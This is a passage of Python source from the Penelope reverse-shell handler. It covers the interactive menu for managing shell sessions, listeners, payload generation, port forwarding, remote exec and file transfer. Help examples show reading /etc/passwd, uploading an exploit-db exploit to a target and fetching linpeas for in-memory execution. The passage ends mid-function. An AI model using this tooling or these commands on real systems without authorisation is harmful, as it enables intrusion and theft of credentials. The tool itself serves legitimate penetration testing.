paint(threading.current_thread().name).white_CYAN 438 | 439 | prefix = "\x1b[2K\r" 440 | suffix = "\r\n" 441 | 442 | if core.wait_input: 443 | suffix += bytes(core.output_line_buffer).decode() + readline.get_line_buffer() 444 | 445 | elif core.attached_session: 446 | suffix += bytes(core.output_line_buffer).decode() 447 | 448 | text = f"{template['prefix']}{thread} {logging.Formatter.format(self, record)}" 449 | return f"{prefix}{getattr(paint(text), template['color'])}{suffix}" 450 | 451 | 452 | class LineBuffer: 453 | def __init__(self, length): 454 | self.len = length 455 | self.lines = deque(maxlen=self.len) 456 | 457 | def __lshift__(self, data): 458 | if isinstance(data, str): 459 | data = data.encode() 460 | if self.lines and not self.lines[-1].endswith(b'\n'): 461 | current_partial = self.lines.pop() 462 | else: 463 | current_partial = b'' 464 | self.lines.extend((current_partial + data).split(b'\n')) 465 | return self 466 | 467 | def __bytes__(self): 468 | return b'\n'.join(self.lines) 469 | 470 | def stdout(data, record=True): 471 | os.write(sys.stdout.fileno(), data) 472 | if record: 473 | core.output_line_buffer << data 474 | 475 | def ask(text): 476 | try: 477 | return input(f"{paint(f'[?] {text}').yellow}") 478 | 479 | except EOFError: 480 | print() 481 | return ask(text) 482 | 483 | except KeyboardInterrupt: 484 | print("^C") 485 | return '' 486 | 487 | def my_input(text="", histfile=None, histlen=None, completer=lambda text, state: None, completer_delims=None): 488 | if threading.current_thread().name == 'MainThread': 489 | signal.signal(signal.SIGINT, keyboard_interrupt) 490 | 491 | if readline: 492 | readline.set_completer(completer) 493 | readline.set_completer_delims(completer_delims or default_readline_delims) 494 | readline.clear_history() 495 | if histfile: 496 | try: 497 | readline.read_history_file(histfile) 498 | except Exception as e: 499 | cmdlogger.debug(f"Error loading history file: {e}") 500 | #readline.set_auto_history(True) 501 | 502 | core.output_line_buffer << b"\n" + text.encode() 503 | core.wait_input = True 504 | response = original_input(text) 505 | core.wait_input = False 506 | 507 | if readline: 508 | #readline.set_completer(None) 509 | #readline.set_completer_delims(default_readline_delims) 510 | if histfile: 511 | try: 512 | readline.set_history_length(options.histlength) 513 | #readline.add_history(response) 514 | readline.write_history_file(histfile) 515 | except Exception as e: 516 | cmdlogger.debug(f"Error writing to history file: {e}") 517 | #readline.set_auto_history(False) 518 | 519 | return response 520 | 521 | class BetterCMD: 522 | def __init__(self, prompt=None, banner=None, histfile=None, histlen=None): 523 | self.prompt = prompt 524 | self.banner = banner 525 | self.histfile = histfile 526 | self.histlen = histlen 527 | self.cmdqueue = [] 528 | self.lastcmd = '' 529 | self.active = threading.Event() 530 | self.stop = False 531 | 532 | def show(self): 533 | print() 534 | self.active.set() 535 | 536 | def start(self): 537 | self.preloop() 538 | if self.banner: 539 | print(self.banner) 540 | 541 | stop = None 542 | while not self.stop: 543 | try: 544 | self.active.wait() 545 | if self.cmdqueue: 546 | line = self.cmdqueue.pop(0) 547 | else: 548 | line = input(self.prompt, self.histfile, self.histlen, self.complete, " \t\n\"'><=;|&(:") 549 | 550 | signal.signal(signal.SIGINT, lambda num, stack: self.interrupt()) 551 | line = self.precmd(line) 552 | stop = self.onecmd(line) 553 | stop = self.postcmd(stop, line) 554 | if stop: 555 | self.active.clear() 556 | except EOFError: 557 | stop = self.onecmd('EOF') 558 | except KeyboardInterrupt: 559 | print("^C") 560 | self.interrupt() 561 | except Exception: 562 | custom_excepthook(*sys.exc_info()) 563 | self.postloop() 564 | 565 | def onecmd(self, line): 566 | cmd, arg, line = self.parseline(line) 567 | if cmd: 568 | try: 569 | func = getattr(self, 'do_' + cmd) 570 | self.lastcmd = line 571 | except AttributeError: 572 | return self.default(line) 573 | return func(arg) 574 | 575 | def default(self, line): 576 | cmdlogger.error(f"Invalid command") 577 | 578 | def interrupt(self): 579 | pass 580 | 581 | def parseline(self, line): 582 | line = line.lstrip() 583 | if not line: 584 | return None, None, line 585 | elif line[0] == '!': 586 | index = line[1:].strip() 587 | hist_len = readline.get_current_history_length() 588 | 589 | if not index.isnumeric() or not (0 < int(index) < hist_len): 590 | cmdlogger.error("Invalid command number") 591 | readline.remove_history_item(hist_len - 1) 592 | return None, None, line 593 | 594 | line = readline.get_history_item(int(index)) 595 | readline.replace_history_item(hist_len - 1, line) 596 | return self.parseline(line) 597 | 598 | else: 599 | parts = line.split(' ', 1) 600 | if len(parts) == 1: 601 | return parts[0], None, line 602 | elif len(parts) == 2: 603 | return parts[0], parts[1], line 604 | 605 | def precmd(self, line): 606 | return line 607 | 608 | def postcmd(self, stop, line): 609 | return stop 610 | 611 | def preloop(self): 612 | pass 613 | 614 | def postloop(self): 615 | pass 616 | 617 | def do_reset(self, line): 618 | """ 619 | 620 | Reset the local terminal 621 | """ 622 | if shutil.which("reset"): 623 | os.system("reset") 624 | else: 625 | cmdlogger.error("'reset' command doesn't exist on the system") 626 | 627 | def do_exit(self, line): 628 | """ 629 | 630 | Exit cmd 631 | """ 632 | self.stop = True 633 | self.active.clear() 634 | 635 | def do_history(self, line): 636 | """ 637 | 638 | Show Main Menu history 639 | """ 640 | if readline: 641 | hist_len = readline.get_current_history_length() 642 | max_digits = len(str(hist_len)) 643 | for i in range(1, hist_len + 1): 644 | print(f" {i:>{max_digits}} {readline.get_history_item(i)}") 645 | else: 646 | cmdlogger.error("Python is not compiled with readline support") 647 | 648 | def do_DEBUG(self, line): 649 | """ 650 | 651 | Open debug console 652 | """ 653 | import rlcompleter 654 | 655 | if readline: 656 | readline.clear_history() 657 | try: 658 | readline.read_history_file(options.debug_histfile) 659 | except Exception as e: 660 | cmdlogger.debug(f"Error loading history file: {e}") 661 | 662 | interact(banner=paint( 663 | "===> Entering debugging console...").CYAN, local=globals(), 664 | exitmsg=paint("<=== Leaving debugging console..." 665 | ).CYAN) 666 | 667 | if readline: 668 | readline.set_history_length(options.histlength) 669 | try: 670 | readline.write_history_file(options.debug_histfile) 671 | except Exception as e: 672 | cmdlogger.debug(f"Error writing to history file: {e}") 673 | 674 | def completedefault(self, *ignored): 675 | return [] 676 | 677 | def completenames(self, text, *ignored): 678 | dotext = 'do_' + text 679 | return [a[3:] for a in dir(self.__class__) if a.startswith(dotext)] 680 | 681 | def complete(self, text, state): 682 | if state == 0: 683 | origline = readline.get_line_buffer() 684 | line = origline.lstrip() 685 | stripped = len(origline) - len(line) 686 | begidx = readline.get_begidx() - stripped 687 | endidx = readline.get_endidx() - stripped 688 | if begidx > 0: 689 | cmd, args, foo = self.parseline(line) 690 | if cmd == '': 691 | compfunc = self.completedefault 692 | else: 693 | try: 694 | compfunc = getattr(self, 'complete_' + cmd) 695 | except AttributeError: 696 | compfunc = self.completedefault 697 | else: 698 | compfunc = self.completenames 699 | self.completion_matches = compfunc(text, line, begidx, endidx) 700 | try: 701 | return self.completion_matches[state] 702 | except IndexError: 703 | return None 704 | @staticmethod 705 | def file_completer(text): 706 | matches = glob(text + '*') 707 | matches = [m + '/' if os.path.isdir(m) else m for m in matches] 708 | #matches = [f"'{m}'" if ' ' in m else m for m in matches] 709 | return matches 710 | 711 | ########################################################################################################## 712 | 713 | class MainMenu(BetterCMD): 714 | 715 | def __init__(self, *args, **kwargs): 716 | super().__init__(*args, **kwargs) 717 | self.set_id(None) 718 | self.commands = { 719 | "Session Operations":['run', 'upload', 'download', 'open', 'maintain', 'spawn', 'upgrade', 'exec', 'script', 'portfwd'], 720 | "Session Management":['sessions', 'use', 'interact', 'kill', 'dir|.'], 721 | "Shell Management" :['listeners', 'payloads', 'connect', 'Interfaces'], 722 | "Miscellaneous" :['help', 'modules', 'history', 'reset', 'reload', 'SET', 'DEBUG', 'exit|quit|q|Ctrl+D'] 723 | } 724 | 725 | @property 726 | def raw_commands(self): 727 | return [command.split('|')[0] for command in sum(self.commands.values(), [])] 728 | 729 | @property 730 | def active_sessions(self): 731 | active_sessions = len(core.sessions) 732 | if active_sessions: 733 | s = "s" if active_sessions > 1 else "" 734 | return paint(f" ({active_sessions} active session{s})").red + paint().yellow 735 | return "" 736 | 737 | @staticmethod 738 | def get_core_id_completion(text, *extra, attr='sessions'): 739 | options = list(map(str, getattr(core, attr))) 740 | options.extend(extra) 741 | return [option for option in options if option.startswith(text)] 742 | 743 | def set_id(self, ID): 744 | self.sid = ID 745 | session_part = ( 746 | f"{paint('─(').cyan_DIM}{paint('Session').green} " 747 | f"{paint('[' + str(self.sid) + ']').red}{paint(')').cyan_DIM}" 748 | ) if self.sid else '' 749 | self.prompt = ( 750 | f"{paint(f'(').cyan_DIM}{paint('Penelope').magenta}{paint(f')').cyan_DIM}" 751 | f"{session_part}{paint('>').cyan_DIM} " 752 | ) 753 | 754 | def session_operation(current=False, extra=[]): 755 | def inner(func): 756 | @wraps(func) 757 | def newfunc(self, ID): 758 | if current: 759 | if not self.sid: 760 | if core.sessions: 761 | cmdlogger.warning("No session ID selected. Select one with \"use [ID]\"") 762 | else: 763 | cmdlogger.warning("No available sessions to perform this action") 764 | return False 765 | else: 766 | if ID: 767 | if ID.isnumeric() and int(ID) in core.sessions: 768 | ID = int(ID) 769 | elif ID not in extra: 770 | cmdlogger.warning("Invalid session ID") 771 | return False 772 | else: 773 | if self.sid: 774 | ID = self.sid 775 | else: 776 | cmdlogger.warning("No session selected") 777 | return None 778 | return func(self, ID) 779 | return newfunc 780 | return inner 781 | 782 | def interrupt(self): 783 | if core.attached_session and not core.attached_session.readline: 784 | core.attached_session.detach() 785 | else: 786 | if menu.sid and not core.sessions[menu.sid].agent: # TEMP 787 | core.sessions[menu.sid].control_session.subchannel.control << 'stop' 788 | 789 | def show_help(self, command): 790 | help_prompt = re.compile(r"Run 'help [^\']*' for more information") # TODO 791 | parts = dedent(getattr(self, f"do_{command.split('|')[0]}").__doc__).split("\n") 792 | print("\n", paint(command).green, paint(parts[1]).blue, "\n") 793 | modified_parts = [] 794 | for part in parts[2:]: 795 | part = help_prompt.sub('', part) 796 | modified_parts.append(part) 797 | print(indent("\n".join(modified_parts), ' ')) 798 | 799 | if command == 'run': 800 | self.show_modules() 801 | 802 | def do_help(self, command): 803 | """ 804 | [command | -a] 805 | Show Main Menu help or help about a specific command 806 | 807 | Examples: 808 | 809 | help Show all commands at a glance 810 | help interact Show extensive information about a command 811 | help -a Show extensive information for all commands 812 | """ 813 | if command: 814 | if command == "-a": 815 | for section in self.commands: 816 | print(f'\n{paint(section).yellow}\n{paint("=" * len(section)).cyan}') 817 | for command in self.commands[section]: 818 | self.show_help(command) 819 | else: 820 | if command in self.raw_commands: 821 | self.show_help(command) 822 | else: 823 | cmdlogger.warning( 824 | f"No such command: '{command}'. " 825 | f"Issue 'help' for all available commands" 826 | ) 827 | else: 828 | for section in self.commands: 829 | print(f'\n{paint(section).yellow}\n{paint("─" * len(section)).cyan}') 830 | table = Table(joinchar=' · ') 831 | for command in self.commands[section]: 832 | parts = dedent(getattr(self, f"do_{command.split('|')[0]}").__doc__).split("\n")[1:3] 833 | table += [paint(command).green, paint(parts[0]).blue, parts[1]] 834 | print(table) 835 | print() 836 | 837 | @session_operation(extra=['none']) 838 | def do_use(self, ID): 839 | """ 840 | [SessionID|none] 841 | Select a session 842 | 843 | Examples: 844 | 845 | use 1 Select the SessionID 1 846 | use none Unselect any selected session 847 | """ 848 | if ID == 'none': 849 | self.set_id(None) 850 | else: 851 | self.set_id(ID) 852 | 853 | def do_sessions(self, line): 854 | """ 855 | [SessionID] 856 | Show active sessions or interact with the SessionID 857 | 858 | Examples: 859 | 860 | sessions Show active sessions 861 | sessions 1 Interact with SessionID 1 862 | """ 863 | if line: 864 | if self.do_interact(line): 865 | return True 866 | else: 867 | if core.sessions: 868 | for host, sessions in core.hosts.items(): 869 | print('\n➤ ' + sessions[0].name_colored) 870 | table = Table(joinchar=' | ') 871 | table.header = [paint(header).cyan for header in ('ID', 'Shell', 'User', 'Source')] 872 | for session in sessions: 873 | if self.sid == session.id: 874 | ID = paint('[' + str(session.id) + ']').red 875 | elif session.new: 876 | ID = paint('<' + str(session.id) + '>').yellow_BLINK 877 | else: 878 | ID = paint(' ' + str(session.id)).yellow 879 | source = session.listener or f'Connect({session._host}:{session.port})' 880 | table += [ 881 | ID, 882 | paint(session.type).CYAN if session.type == 'PTY' else session.type, 883 | session.user or 'N/A', 884 | source 885 | ] 886 | print("\n", indent(str(table), " "), "\n", sep="") 887 | else: 888 | print() 889 | cmdlogger.warning("No sessions yet 😟") 890 | print() 891 | 892 | @session_operation() 893 | def do_interact(self, ID): 894 | """ 895 | [SessionID] 896 | Interact with a session 897 | 898 | Examples: 899 | 900 | interact Interact with current session 901 | interact 1 Interact with SessionID 1 902 | """ 903 | return core.sessions[ID].attach() 904 | 905 | @session_operation(extra=['*']) 906 | def do_kill(self, ID): 907 | """ 908 | [SessionID|*] 909 | Kill a session 910 | 911 | Examples: 912 | 913 | kill Kill the current session 914 | kill 1 Kill SessionID 1 915 | kill * Kill all sessions 916 | """ 917 | 918 | if ID == '*': 919 | if not core.sessions: 920 | cmdlogger.warning("No sessions to kill") 921 | return False 922 | else: 923 | if ask(f"Kill all sessions{self.active_sessions} (y/N): ").lower() == 'y': 924 | for session in reversed(list(core.sessions.copy().values())): 925 | session.kill() 926 | else: 927 | core.sessions[ID].kill() 928 | 929 | if options.single_session and len(core.sessions) == 1: 930 | core.stop() 931 | logger.info("Penelope exited due to Single Session mode") 932 | return True 933 | 934 | @session_operation(current=True) 935 | def do_portfwd(self, line): 936 | """ 937 | host:port(<-|->)host:port 938 | Local and Remote port forwarding 939 | 940 | Examples: 941 | 942 | -> 192.168.0.1:80 Forward 127.0.0.1:80 to 192.168.0.1:80 943 | 0.0.0.0:8080 -> 192.168.0.1:80 Forward 0.0.0.0:8080 to 192.168.0.1:80 944 | """ 945 | if not line: 946 | cmdlogger.warning("No parameters...") 947 | return False 948 | 949 | match = re.search(r"((?:.*)?)(<-|->)((?:.*)?)", line) 950 | if match: 951 | group1 = match.group(1) 952 | arrow = match.group(2) 953 | group2 = match.group(3) 954 | else: 955 | cmdlogger.warning("Invalid syntax") 956 | return False 957 | 958 | if arrow == '->': 959 | _type = 'L' 960 | lhost = "127.0.0.1" 961 | 962 | if group2: 963 | match = re.search(r"((?:[^\s]*)?):((?:[^\s]*)?)", group2) 964 | if match: 965 | rhost = match.group(1) 966 | rport = match.group(2) 967 | lport = rport 968 | if not rport: 969 | cmdlogger.warning("At least remote port is required") 970 | return False 971 | else: 972 | cmdlogger.warning("At least remote port is required") 973 | return False 974 | 975 | if group1: 976 | match = re.search(r"((?:[^\s]*)?):((?:[^\s]*)?)", group1) 977 | if match: 978 | lhost = match.group(1) 979 | lport = match.group(2) 980 | else: 981 | cmdlogger.warning("Invalid syntax") 982 | return False 983 | 984 | elif arrow == '<-': 985 | _type = 'R' 986 | 987 | if group2: 988 | rhost, rport = group2.split(':') 989 | 990 | if group1: 991 | lhost, lport = group1.split(':') 992 | else: 993 | cmdlogger.warning("At least local port is required") 994 | return False 995 | 996 | core.sessions[self.sid].portfwd(_type=_type, lhost=lhost, lport=lport, rhost=rhost, rport=int(rport)) 997 | 998 | @session_operation(current=True) 999 | def do_download(self, remote_items): 1000 | """ 1001 | ... 1002 | Download files / folders from the target 1003 | 1004 | Examples: 1005 | 1006 | download /etc Download a remote directory 1007 | download /etc/passwd Download a remote file 1008 | download /etc/cron* Download multiple remote files and directories using glob 1009 | download /etc/issue /var/spool Download multiple remote files and directories at once 1010 | """ 1011 | if remote_items: 1012 | core.sessions[self.sid].download(remote_items) 1013 | else: 1014 | cmdlogger.warning("No files or directories specified") 1015 | 1016 | @session_operation(current=True) 1017 | def do_open(self, remote_items): 1018 | """ 1019 | ... 1020 | Download files / folders from the target and open them locally 1021 | 1022 | Examples: 1023 | 1024 | open /etc Open locally a remote directory 1025 | open /root/secrets.ods Open locally a remote file 1026 | open /etc/cron* Open locally multiple remote files and directories using glob 1027 | open /etc/issue /var/spool Open locally multiple remote files and directories at once 1028 | """ 1029 | if remote_items: 1030 | items = core.sessions[self.sid].download(remote_items) 1031 | 1032 | if len(items) > options.max_open_files: 1033 | cmdlogger.warning( 1034 | f"More than {options.max_open_files} items selected" 1035 | f" for opening. The open list is truncated to " 1036 | f"{options.max_open_files}." 1037 | ) 1038 | items = items[:options.max_open_files] 1039 | 1040 | for item in items: 1041 | Open(item) 1042 | else: 1043 | cmdlogger.warning("No files or directories specified") 1044 | 1045 | @session_operation(current=True) 1046 | def do_upload(self, local_items): 1047 | """ 1048 | ... 1049 | Upload files / folders / HTTP(S)/FTP(S) URLs to the target 1050 | HTTP(S)/FTP(S) URLs are downloaded locally and then pushed to the target. This is extremely useful 1051 | when the target has no Internet access 1052 | 1053 | Examples: 1054 | 1055 | upload /tools Upload a directory 1056 | upload /tools/mysuperdupertool.sh Upload a file 1057 | upload /tools/privesc* /tools2/*.sh Upload multiple files and directories using glob 1058 | upload https://github.com/x/y/z.sh Download the file locally and then push it to the target 1059 | upload https://www.exploit-db.com/exploits/40611 Download the underlying exploit code locally and upload it to the target 1060 | """ 1061 | if local_items: 1062 | core.sessions[self.sid].upload(local_items, randomize_fname=True) 1063 | else: 1064 | cmdlogger.warning("No files or directories specified") 1065 | 1066 | @session_operation(current=True) 1067 | def do_script(self, local_item): 1068 | """ 1069 | 1070 | In-memory local or URL script execution & real time downloaded output 1071 | 1072 | Examples: 1073 | script https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh 1074 | """ 1075 | if local_item: 1076 | core.sessions[self.sid].script(local_item) 1077 | else: 1078 | cmdlogger.warning("No script to execute") 1079 | 1080 | @staticmethod 1081 | def show_modules(): 1082 | categories = defaultdict(list) 1083 | for module in modules().values(): 1084 | categories[module.category].append(module) 1085 | 1086 | print() 1087 | for category in categories: 1088 | print(" " + str(paint(category).BLUE)) 1089 | table = Table(joinchar=' │ ') 1090 | for module in categories[category]: 1091 | description = module.run.__doc__ or "" 1092 | if description: 1093 | description = module.run.__doc__.strip().splitlines()[0] 1094 | table += [paint(module.__name__).red, description] 1095 | print(indent(str(table), ' '), "\n", sep="") 1096 | 1097 | @session_operation(current=True) 1098 | def do_run(self, line): 1099 | """ 1100 | [module name] 1101 | Run a module. Run 'help run' to view the available modules""" 1102 | parts = line.split(" ", 1) 1103 | module_name = parts[0] 1104 | if module_name: 1105 | module = modules().get(module_name) 1106 | if module: 1107 | args = parts[1] if len(parts) == 2 else '' 1108 | module.run(core.sessions[self.sid], args) 1109 | else: 1110 | cmdlogger.warning(f"Module '{module_name}' does not exist") 1111 | else: 1112 | self.show_modules() 1113 | 1114 | @session_operation(current=True) 1115 | def do_spawn(self, line): 1116 | """ 1117 | [Port] [Host] 1118 | Spawn a new session. 1119 | 1120 | Examples: 1121 | 1122 | spawn Spawn a new session. If the current is bind then in will create a 1123 | bind shell. If the current is reverse, it will spawn a reverse one 1124 | 1125 | spawn 5555 Spawn a reverse shell on 5555 port. This can be used to get shell 1126 | on another tab. On the other tab run: ./penelope.py 5555 1127 | 1128 | spawn 3333 10.10.10.10 Spawn a reverse shell on the port 3333 of the 10.10.10.10 host 1129 | """ 1130 | host, port = None, None 1131 | 1132 | if line: 1133 | args = line.split(" ") 1134 | try: 1135 | port = int(args[0]) 1136 | except ValueError: 1137 | cmdlogger.error("Port number should be numeric") 1138 | return False 1139 | arg_num = len(args) 1140 | if arg_num == 2: 1141 | host = args[1] 1142 | elif arg_num > 2: 1143 | print() 1144 | cmdlogger.error("Invalid PORT - HOST combination") 1145 | self.onecmd("help spawn") 1146 | return False 1147 | 1148 | core.sessions[self.sid].spawn(port, host) 1149 | 1150 | def do_maintain(self, line): 1151 | """ 1152 | [NUM] 1153 | Maintain NUM active shells for each target 1154 | 1155 | Examples: 1156 | 1157 | maintain 5 Maintain 5 active shells 1158 | maintain 1 Disable maintain functionality 1159 | """ 1160 | if line: 1161 | if line.isnumeric(): 1162 | num = int(line) 1163 | options.maintain = num 1164 | refreshed = False 1165 | for host in core.hosts.values(): 1166 | if len(host) < num: 1167 | refreshed = True 1168 | host[0].maintain() 1169 | if not refreshed: 1170 | self.onecmd("maintain") 1171 | else: 1172 | cmdlogger.error("Invalid number") 1173 | else: 1174 | status = paint('Enabled').white_GREEN if options.maintain >= 2 else paint('Disabled').white_RED 1175 | cmdlogger.info(f"Value set to {paint(options.maintain).yellow} {status}") 1176 | 1177 | @session_operation(current=True) 1178 | def do_upgrade(self, ID): 1179 | """ 1180 | 1181 | Upgrade the current session's shell to PTY 1182 | Note: By default this is automatically run on the new sessions. Disable it with -U 1183 | """ 1184 | core.sessions[self.sid].upgrade() 1185 | 1186 | def do_dir(self, ID): 1187 | """ 1188 | [SessionID] 1189 | Open the session's local folder. If no session specified, open the base folder 1190 | """ 1191 | folder = core.sessions[self.sid].directory if self.sid else options.basedir 1192 | Open(folder) 1193 | print(folder) 1194 | 1195 | @session_operation(current=True) 1196 | def do_exec(self, cmdline): 1197 | """ 1198 | 1199 | Execute a remote command 1200 | 1201 | Examples: 1202 | exec cat /etc/passwd 1203 | """ 1204 | if cmdline: 1205 | if core.sessions[self.sid].agent: 1206 | core.sessions[self.sid].exec( 1207 | cmdline, 1208 | timeout=None, 1209 | stdout_dst=sys.stdout.buffer, 1210 | stderr_dst=sys.stderr.buffer 1211 | ) 1212 | else: 1213 | output = core.sessions[self.sid].exec( 1214 | cmdline, 1215 | timeout=None, 1216 | value=True 1217 | ) 1218 | print(output) 1219 | else: 1220 | cmdlogger.warning("No command to execute") 1221 | 1222 | '''@session_operation(current=True) # TODO 1223 | def do_tasks(self, line): 1224 | """ 1225 | 1226 | Show assigned tasks 1227 | """ 1228 | table = Table(joinchar=' | ') 1229 | table.header = ['SessionID', 'TaskID', 'PID', 'Command', 'Output', 'Status'] 1230 | 1231 | for sessionid in core.sessions: 1232 | tasks = core.sessions[sessionid].tasks 1233 | for taskid in tasks: 1234 | for stream in tasks[taskid]['streams'].values(): 1235 | if stream.closed: 1236 | status = paint('Completed!').GREEN 1237 | break 1238 | else: 1239 | status = paint('Active...').YELLOW 1240 | 1241 | table += [ 1242 | paint(sessionid).red, 1243 | paint(taskid).cyan, 1244 | paint(tasks[taskid]['pid']).blue, 1245 | paint(tasks[taskid]['command']).yellow, 1246 | paint(tasks[taskid]['streams']['1'].name).green, 1247 | status 1248 | ] 1249 | 1250 | if len(table) > 1: 1251 | print(table) 1252 | else: 1253 | logger.warning("No assigned tasks")''' 1254 | 1255 | def do_listeners(self, line): 1256 | """ 1257 | [[-i ][-p ]] 1258 | Add / stop / view Listeners 1259 | 1260 | Examples: 1261 | 1262 | listeners Show active Listeners 1263 | listeners add -i any -p 4444 Create a Listener on 0.0.0.0:4444 1264 | listeners stop 1 Stop the Listener with ID 1 1265 | """ 1266 | if line: 1267 | parser = ArgumentParser(prog="listeners") 1268 | subparsers = parser.add_subparsers(dest="command", required=True) 1269 | 1270 | parser_add = subparsers.add_parser("add", help="Add a new listener") 1271 | parser_add.add_argument("-i", "--interface", help="Interface to bind", default="any") 1272 | parser_add.add_argument("-p", "--port", help="Port to listen on", default=options.default_listener_port) 1273 | parser_add.add_argument("-t", "--type", help="Listener type", default='tcp') 1274 | 1275 | parser_stop = subparsers.add_parser("stop", help="Stop a listener") 1276 | parser_stop.add_argument("id", help="Listener ID to stop") 1277 | 1278 | try: 1279 | args = parser.parse_args(line.split()) 1280 | except SystemExit: 1281 | return False 1282 | 1283 | if args.command == "add": 1284 | if args.type == 'tcp': 1285 | TCPListener(args.interface, args.port) 1286 | 1287 | elif args.command == "stop": 1288 | if args.id == '*': 1289 | listeners = core.listeners.copy() 1290 | if listeners: 1291 | for listener in listeners.values(): 1292 | listener.stop() 1293 | else: 1294 | cmdlogger.warning("No listeners to stop...") 1295 | return False 1296 | else: 1297 | try: 1298 | core.listeners[int(args.id)].stop() 1299 | except (KeyError, ValueError): 1300 | logger.error("Invalid Listener ID") 1301 | 1302 | else: 1303 | if core.listeners: 1304 | table = Table(joinchar=' | ') 1305 | table.header = [paint(header).red for header in ('ID', 'Type', 'Host', 'Port')] 1306 | for listener in core.listeners.values(): 1307 | table += [listener.id, listener.__class__.__name__, listener.host, listener.port] 1308 | print('\n', indent(str(table), ' '), '\n', sep='') 1309 | else: 1310 | cmdlogger.warning("No active Listeners...") 1311 | 1312 | def do_connect(self, line): 1313 | """ 1314 | 1315 | Connect to a bind shell 1316 | 1317 | Examples: 1318 | 1319 | connect 192.168.0.101 5555 1320 | """ 1321 | if not line: 1322 | cmdlogger.warning("No target specified") 1323 | return False 1324 | try: 1325 | address, port = line.split(' ') 1326 | 1327 | except ValueError: 1328 | cmdlogger.error("Invalid Host-Port combination") 1329 | 1330 | else: 1331 | if Connect(address, port) and not options.no_attach: 1332 | return True 1333 | 1334 | def do_payloads(self, line): 1335 | """ 1336 | 1337 | Create reverse shell payloads based on the active listeners 1338 | """ 1339 | if core.listeners: 1340 | print() 1341 | for listener in core.listeners.values(): 1342 | print(listener.payloads, end='\n\n') 1343 | else: 1344 | cmdlogger.warning("No Listeners to show payloads") 1345 | 1346 | def do_Interfaces(self, line): 1347 | """ 1348 | 1349 | Show the local network interfaces 1350 | """ 1351 | print(Interfaces()) 1352 | 1353 | def do_exit(self, line): 1354 | """ 1355 | 1356 | Exit Penelope 1357 | """ 1358 | if ask(f"Exit Penelope?{self.active_sessions} (y/N): ").lower() == 'y': 1359 | super().do_exit(line) 1360 | core.stop() 1361 | for thread in threading.enumerate(): 1362 | if thread.name == 'Core': 1363 | thread.join() 1364 | cmdlogger.info("Exited!") 1365 | remaining_threads = [thread for thread in threading.enumerate()] 1366 | if options.dev_mode and remaining_threads: 1367 | cmdlogger.error(f"REMAINING THREADS: {remaining_threads}") 1368 | return True 1369 | return False 1370 | 1371 | def do_EOF(self, line): 1372 | if self.sid: 1373 | self.set_id(None) 1374 | print() 1375 | else: 1376 | print("exit") 1377 | return self.do_exit(line) 1378 | 1379 | def do_modules(self, line): 1380 | """ 1381 | 1382 | Show available modules 1383 | """ 1384 | self.show_modules() 1385 | 1386 | def do_reload(self, line): 1387 | """ 1388 | 1389 | Reload the rc file 1390 | """ 1391 | load_rc() 1392 | 1393 | def do_SET(self, line): 1394 | """ 1395 | [option, [value]] 1396 | Show / set option values 1397 | 1398 | Examples: 1399 | 1400 | SET Show all options and their current values 1401 | SET no_upgrade Show the current value of no_upgrade option 1402 | SET no_upgrade True Set the no_upgrade option to True 1403 | """ 1404 | if not line: 1405 | rows = [ [paint(param).cyan, paint(repr(getattr(options, param))).yellow] 1406 | for param in options.__dict__] 1407 | table = Table(rows, fillchar=[paint('.').green, 0], joinchar=' => ') 1408 | print(table) 1409 | else: 1410 | try: 1411 | args = line.split(" ", 1) 1412 | param = args[0] 1413 | if len(args) == 1: 1414 | value = getattr(options, param) 1415 | if isinstance(value, (list, dict)): 1416 | value = dumps(value, indent=4) 1417 | print(f"{paint(value).yellow}") 1418 | else: 1419 | new_value = eval(args[1]) 1420 | old_value = getattr(options, param) 1421 | setattr(options, param, new_value) 1422 | if getattr(options, param) != old_value: 1423 | cmdlogger.info(f"'{param}' option set to: {paint(getattr(options, param)).yellow}") 1424 | 1425 | except AttributeError: 1426 | cmdlogger.error("No such option") 1427 | 1428 | except Exception as e: 1429 | cmdlogger.error(f"{type(e).__name__}: {e}") 1430 | 1431 | def default(self, line): 1432 | if line in ['q', 'quit']: 1433 | return self.onecmd('exit') 1434 | elif line == '.': 1435 | return self.onecmd('dir') 1436 | else: 1437 | parts = line.split(" ", 1) 1438 | candidates = [command for command in self.raw_commands if command.startswith(parts[0])] 1439 | if not candidates: 1440 | cmdlogger.warning(f"No such command: '{line}'. Issue 'help' for all available commands") 1441 | elif len(candidates) == 1: 1442 | cmd = candidates[0] 1443 | if len(parts) == 2: 1444 | cmd += " " + parts[1] 1445 | stdout(f"\x1b[1A\x1b[2K{self.prompt}{cmd}\n".encode(), False) 1446 | return self.onecmd(cmd) 1447 | else: 1448 | cmdlogger.warning(f"Ambiguous command. Can mean any of: {candidates}") 1449 | 1450 | def complete_SET(self, text, line, begidx, endidx): 1451 | return [option for option in options.__dict__ if option.startswith(text)] 1452 | 1453 | def complete_listeners(self, text, line, begidx, endidx): 1454 | last = -2 if text else -1 1455 | arg = line.split()[last] 1456 | 1457 | if arg == 'listeners': 1458 | return [command for command in ["add", "stop"] if command.startswith(text)] 1459 | elif arg in ('-i', '--interface'): 1460 | return [iface_ip for iface_ip in Interfaces().list_all + ['any', '0.0.0.0'] if iface_ip.startswith(text)] 1461 | elif arg in ('-t', '--type'): 1462 | return [_type for _type in ("tcp",) if _type.startswith(text)] 1463 | elif arg == 'stop': 1464 | return self.get_core_id_completion(text, "*", attr='listeners') 1465 | 1466 | def complete_upload(self, text, line, begidx, endidx): 1467 | return __class__.file_completer(text) 1468 | 1469 | def complete_use(self, text, line, begidx, endidx): 1470 | return self.get_core_id_completion(text, "none") 1471 | 1472 | def complete_sessions(self, text, line, begidx, endidx): 1473 | return self.get_core_id_completion(text) 1474 | 1475 | def complete_interact(self, text, line, begidx, endidx): 1476 | return self.get_core_id_completion(text) 1477 | 1478 | def complete_kill(self, text, line, begidx, endidx): 1479 | return self.get_core_id_completion(text, "*") 1480 | 1481 | def complete_run(self, text, line, begidx, endidx): 1482 | return [module.__name__ for module in modules().values() if module.__name__.startswith(text)] 1483 | 1484 | 1485 | class ControlQueue: 1486 | 1487 | def __init__(self): 1488 | self._out, self._in = os.pipe() 1489 | self.queue = queue.Queue() # TODO 1490 | 1491 | def fileno(self): 1492 | return self._out 1493 | 1494 | def __lshift__(self, command): 1495 | self.queue.put(command) 1496 | os.write(self._in, b'\x00') 1497 | 1498 | def get(self): 1499 | os.read(self._out, 1) 1500 | return self.queue.get() 1501 | 1502 | def clear(self): 1503 | amount = 0 1504 | while not self.queue.empty(): 1505 | try: 1506 | 